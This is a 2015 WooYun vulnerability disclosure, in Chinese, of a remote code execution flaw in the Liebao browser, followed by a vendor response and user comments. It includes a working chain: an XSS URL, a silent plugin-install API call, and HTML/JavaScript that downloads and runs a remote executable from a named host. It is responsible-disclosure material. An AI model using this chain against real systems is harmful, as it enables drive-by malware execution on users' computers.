当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097654

漏洞标题:猎豹浏览器远程代码执行

相关厂商:金山软件集团

漏洞作者: gainover

提交时间:2015-02-17 19:55

修复时间:2015-05-19 15:12

公开时间:2015-05-19 15:12

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-17: 细节已通知厂商并且等待厂商处理中
2015-02-18: 厂商已经确认,细节仅向厂商公开
2015-02-21: 细节向第三方安全合作伙伴开放
2015-04-14: 细节向核心白帽子及相关领域专家公开
2015-04-24: 细节向普通白帽子公开
2015-05-04: 细节向实习白帽子公开
2015-05-19: 细节向公众公开

简要描述:

新年快乐!

详细说明:

1. 下载最新版本的猎豹浏览器:KSbrowser_5.2.85.9616.exe
2. 通过分析观察猎豹所实现的一些自定义函数接口(external下的一些api),我发现金山有以下api:
external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);
其中fpmcdbknonpdbngoboglidihcbfjcaep是猎豹浏览器市场内的应用ID
首先,只要是liebao.cn或者是duba.com下的网站,均有权限调用该函数,而且,该函数可以用来静默安装应用市场内的任意插件(也就是安装插件没有交互提示)。
3. 对于这种静默安装插件的api,有什么利用方法呢?我大概能想到以下几种情况:
A. 自己编写一个恶意功能的插件,然后上传到应用市场(需要通过官方审核方可)
B. 寻找一个具有功能缺陷,导致我们可以进一步恶意利用的插件进行静默安装。这通常又可以分为两种情况:
B1. 插件页面具有XSS,但是由于现在通常插件页面均开启了CSP(content_security_policy),使得这种比较难以被利用,而且即使有XSS,要达到命令执行,也相对困难。
B2. 还有一种可以利用的场景,就是插件内包含有npapi,并且其public属性被设置为了true,这样我们只要静默安装了这个插件,任何页面就可以调用该npapi所提供的接口。只要该npapi所提供的函数存在安全缺陷,即可造成进一步的安全问题。

1.png


4. 基于以上分析,我们到猎豹应用市场来对一些插件进行筛选,我们比较关心一些字眼:“下载,启动”等。最终我们可以找到以下应用:

2.png


5. 安装了这个插件以后,我们发现插件里会带有一个dll文件,并且该plugin的public属性为true,可以被任意页面调用。

5.png


然而我们并不知道这个dll的具体用法。

3.png


6. 机智的我于是搜索了一下FSMeeting的官方网站和demo,当我打开了官方的演示站之后,没过了一会,我靠!我发现我电脑被自动安装上了 “好视通”的软件。。不禁心中窃喜,看来这个插件会有一个静默安装的功能,于是查看了一下源代码,发现了下图中的代码。

3.jpg


7. 不难看出,run2函数是一个下载并且执行的api,不难写出以下利用代码。

<embed  pluginspage='http://www.fsmeeting.com/download/fmloader.xpi' id='fx_ClientLoader' type='application/npcltloader-plugin' hidden='true' width='1' height='1'/>
<script>
var NodeManAddr="TCP:fsmeeting.com:1089;";
var userType="0";
var GroupName="Fastonz";
var ProductName="FMDesktop";
var ClientName="FMDesktop";
var room_para="-link"+" " + NodeManAddr + " "+"-rid"+" "+'' + " " + "-uname" + " "+''+" "+"-utype"+" "+userType;
var downloadurl="http://x.com/testbaidu.exe";
window.onload=function(){
document.getElementById("fx_ClientLoader").Run2(downloadurl,GroupName,ProductName,room_para);
}
</script>


该代码可以从x.com/testbaidu.exe并且执行。

4.png


8. 并且从前面可知,public为true的插件,在哪个页面均可被调用。这样一来,命令执行的思路就有了
利用 liebao.cn/duba.com下的一个xss来调用external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]); 安装 好视通的浏览器插件
然后自己创建一个htm页面,调用好视通的插件函数下载远程的exe并执行。
---------------------------------------------------------------------
XSS如下:

http://tuan.duba.com/category/?city_code=\u0022\u003e\u003cimg%20src=1%20onerror=alert\u00281\u0029\u003e&cateid=4&f=qrj2015


利用XSS调用以下安装好视通插件,安装完后跳转到 liebao1.htm

external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);
setTimeout(function(){
location.href="http://xsst.sinaapp.com/poc/liebao1.htm";
},1500);


http://xsst.sinaapp.com/poc/liebao1.htm 的代码如下,下载并执行calc.exe:

<embed  pluginspage='http://www.fsmeeting.com/download/fmloader.xpi' id='fx_ClientLoader' type='application/npcltloader-plugin' hidden='true' width='1' height='1'/>
<script>
var NodeManAddr="TCP:fsmeeting.com:1089;";
var userType="0";
var GroupName="Fastonz";
var ProductName="FMDesktop";
var ClientName="FMDesktop";
var room_para="-link"+" " + NodeManAddr + " "+"-rid"+" "+'' + " " + "-uname" + " "+''+" "+"-utype"+" "+userType;
var downloadurl="http://xsst.sinaapp.com/poc/calc.exe";
window.onload=function(){
document.getElementById("fx_ClientLoader").Run2(downloadurl,GroupName,ProductName,room_para);
}
</script>


漏洞证明:

1. win7 (开启或关闭UAC均可)下访问 http://xsst.sinaapp.com/poc/liebao2.htm
该页面会跳转到XSS并安装“好视通”
2. 安装后,过1.5秒跳转至 http://xsst.sinaapp.com/poc/liebao1.htm,下载并执行命令,如下图所示:

6.jpg

修复方案:

1. 对静默安装函数进行修改,采取一些交互提示。
2. 对应用市场中含有npapi的应用进行更加严格的审查。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-02-18 15:10

厂商回复:

感谢@gainover,我们正在修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-17 19:58 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    - -终于到猎豹了

  2. 2015-02-17 20:02 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    第一次这么前排观看二哥

  3. 2015-02-17 20:51 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    金山安全 您提交的漏洞已修复:感谢漏洞作者,其他白帽子已经提交该问题,正在修复中。... ***11处Web组件远程代码执行漏洞+1 2015-02-13 14:31:31

  4. 2015-02-17 21:44 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    二哥轮下猎豹了?下一次又是什么呢?

  5. 2015-02-17 21:46 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    猎豹程序员:是啊还真是“新年快乐”呢

  6. 2015-02-17 23:34 | backtrack丶yao ( 普通白帽子 | Rank:290 漏洞数:107 | "><img src=x onerror=alert(666666);> <im...)

    估计猎豹的程序员过完年就不用上班了,二哥轻点对待程序员

  7. 2015-02-17 23:34 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    猎豹程序员:这哥们又来了,看来过年要在公司过了 唉

  8. 2015-02-18 08:26 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    程序员:哥,别发了,我不想上班

  9. 2015-02-18 09:30 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    能耐好就发Chrome的

  10. 2015-02-18 11:33 | Lyleaks ( 普通白帽子 | Rank:137 漏洞数:9 | 这个人很聪明,什么也没有留下)

    二哥,我想跟你学做菜

  11. 2015-02-18 11:33 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @冷静 web狗表示认怂。

  12. 2015-02-18 11:36 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    @冷静 目测猎豹的程序员:)

  13. 2015-02-18 15:23 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    @gainover 二哥- -自己回家还不让人闲着

  14. 2015-02-18 18:44 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    大过年的,程序员不会这样要加班吧

  15. 2015-02-24 23:01 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @gainover 二哥过年也在挖漏洞 学习

  16. 2015-02-26 15:07 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    这种结合起来挂马妥妥的啊

  17. 2015-03-02 20:47 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    今天好日子呀,等公开。我要升级

  18. 2015-03-10 21:14 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    这个漏洞并不鸡肋,为什么厂商只给7分?

  19. 2015-03-10 22:03 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @梧桐雨 因为他们对这个的危害认知还不够。

  20. 2015-05-19 15:40 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    才7分,还没一个储存xss给的多,金山的分也乱给啊。

  21. 2015-08-12 11:25 | ze0r ( 路人 | Rank:0 漏洞数:1 | ..)

    人好不容易弄个挂安装量的东西,被你爆了。唉,程序员又要麻烦想其他的挂安装量的方式了。